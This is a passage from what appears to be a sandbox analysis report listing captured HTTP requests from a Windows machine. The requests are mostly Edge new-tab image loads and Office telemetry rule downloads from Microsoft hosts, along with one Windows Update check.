deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=022A54BEBDE36963130D41FFBC8168FF; _EDGE_S=F=1&SID=1C801C1AC56E684E22B4095BC4DA6977; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732418452680&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=84cda325a222458b886d32c628c65b9a&activityId=84cda325a222458b886d32c628c65b9a&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=6CF8A6B4584A453F9F5BDFB39B49680B&MUID=022A54BEBDE36963130D41FFBC8168FF HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=022A54BEBDE36963130D41FFBC8168FF; _EDGE_S=F=1&SID=1C801C1AC56E684E22B4095BC4DA6977; _EDGE_V=1; SM=T
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=022A54BEBDE36963130D41FFBC8168FF&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=206a9a8521214fcc855a7ac1d2ae0f53 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=022A54BEBDE36963130D41FFBC8168FF; _EDGE_S=F=1&SID=1C801C1AC56E684E22B4095BC4DA6977; _EDGE_V=1; _C_ETH=1
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA11MSkH.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msG0Z.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msOZ9.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=ZC9rhHYPRGGDass&MD=WahvoXU8 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
